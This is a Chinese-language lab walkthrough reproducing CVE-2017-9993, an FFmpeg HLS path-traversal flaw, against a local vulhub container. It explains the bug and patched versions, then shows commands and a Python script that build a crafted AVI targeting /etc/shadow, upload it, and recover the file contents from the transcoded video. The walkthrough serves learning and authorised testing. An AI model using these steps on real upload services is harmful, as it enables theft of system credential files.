CVE-2017-9993漏洞复现

CVE-2017-9993漏洞复现

复制代码
免责声明:
本文仅用于网络安全学习、防御研究与授权测试交流,严禁用于任何未经授权的攻击、入侵或破坏行为。
读者应遵守《中华人民共和国网络安全法》等相关法律法规,因滥用本文内容造成的任何后果,均由行为人自行承担,作者不承担任何责任。
如本文内容涉及侵权,请联系删除。

漏洞简介

复制代码
CVE-2017-9993:FFmpeg HLS 文件名限制绕过
漏洞类型:路径遍历与任意文件读取(CWE-22)
核心原理:这是 CVE-2016-1897 的不完整修复。FFmpeg 在修复 CVE-2016-1897 时,未正确限制 HLS 播放列表中的文件名扩展名和解复用器名称,导致攻击者可以通过构造特制的播放列表数据,绕过修复逻辑,继续读取服务器上的任意文件。
攻击者将恶意的 HLS 播放列表嵌入到 AVI 文件的字幕块中(如 GAB2 字幕块),FFmpeg 在转码 AVI 时,会将这个字幕块当作 XBIN 视频流来处理,而 XBIN 编解码器在处理过程中会引用播放列表,从而触发文件读取。读取到的文件内容会被编码到输出的 MP4 视频帧中。
利用方式:使用 gen_xbin_avi.py 脚本生成恶意 AVI 文件,上传到目标服务器触发 FFmpeg 转码,然后从生成的 MP4 视频帧中提取被读取的文件内容。
影响版本:FFmpeg 2.8.12 之前、3.0.x 和 3.1.x 低于 3.1.9、3.2.x 低于 3.2.6、3.3.x 低于 3.3.2。
修复:升级到对应的修复版本(2.8.12、3.1.9、3.2.6 或 3.3.2)。

手动复现

复制代码
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/]
└─# git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/]
└─# cd ffmpeg-avi-m3u-xbin
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# python gen_xbin_avi.py file:///etc/shadow shadow.avi
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# curl -F "file=@shadow.avi" http://192.168.119.106:8080/ -i       
HTTP/1.1 200 OK
Host: 192.168.119.106:8080
Connection: close
X-Powered-By: PHP/7.0.33-0+deb9u6
Content-type: text/html; charset=UTF-8
<html>
 <head>
  <meta charset="utf-8">
  <title>Video Player</title>
 </head>
 <body>
     <div>
        <video src="./6ac9f33a71c33.mp4" controls="controls" width="640" height="480"></video>
     </div>
     <form method="post" enctype="multipart/form-data">
       <input type="file" name="file">
       <input type="submit" value="Submit">
     </form>
 </body>
</html>

查看通过服务器FFmpeg解析过后的视频

1.下载视频查看

复制代码
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# curl http://192.168.119.106:8080/6ac9f33a71c33.mp4 -o 123.mp4
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100 420.6k 100 420.6k   0      0 210.2M      0                              0

2.视频生成图片

复制代码
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# curl http://192.168.119.106:8080/6ac9f33a71c33.mp4 -o 123.mp4
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100 420.6k 100 420.6k   0      0 210.2M      0                              0
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# ffmpeg -i 123.mp4 -vf "select='eq(n\,0)'" -vframes 1 123.png  

脚本复现:

python 复制代码
python -c "
import requests, re
r = requests.post('http://192.168.119.106:8080/', files={'file': open('shadow.avi','rb')})
print('状态码:', r.status_code)
m = re.search(r'src=\"\.\/([^\"]+\.mp4)\"', r.text)
if m:
    fname = m.group(1)
    url = 'http://192.168.119.106:8080/' + fname
    print('下载地址:', url)
    data = requests.get(url).content
    open('output.mp4','wb').write(data)
    print('已保存 output.mp4, 大小:', len(data), '字节')
else:
    print('未找到视频路径,响应内容前 500 字节:')
    print(r.text[:500])
"

复现环境搭建

提醒:容器大小1.11GB

复制代码
git clone https://github.com/vulhub/vulhub.git
cd /vulhub/ffmpeg/CVE-2017-9993
docker compose up -d
相关推荐
程序员zgh1 小时前
C++ erase() 函数用法
c语言·开发语言·c++·学习
mlidongfeng1 小时前
【学习】 NVIDIA CFT(Compute Fabric Transport)特性分析
人工智能·学习·fabric
FakeOccupational1 小时前
【电路笔记 STM32】Cortex-M7 UART 中断模式(串口接收中断+串口空闲中断)
笔记·stm32·单片机
小李不想当小白1 小时前
USART串口协议(STM32标准库学习笔记)
经验分享·笔记·stm32·单片机·嵌入式硬件·学习
杭州领祺科技1 小时前
036 绿电直连项目二次系统通信与安全架构选型:650/688/618 三文 + 27 号令 4 区 7 产品
安全·安全架构·储能·电力·绿电直连
AOI小白新手上路2 小时前
视频去雨·论文蒸馏笔记:从物理先验到状态空间模型
数据库·笔记·音视频
w2sfot3 小时前
【JS加密在线】jsjiami.online(让JavaScript 更安全!)
开发语言·javascript·安全
墨云安全3 小时前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
AOI小白新手上路3 小时前
DRSformer·论文蒸馏笔记:可学习 Top-k 稀疏注意力去雨网络
网络·笔记·学习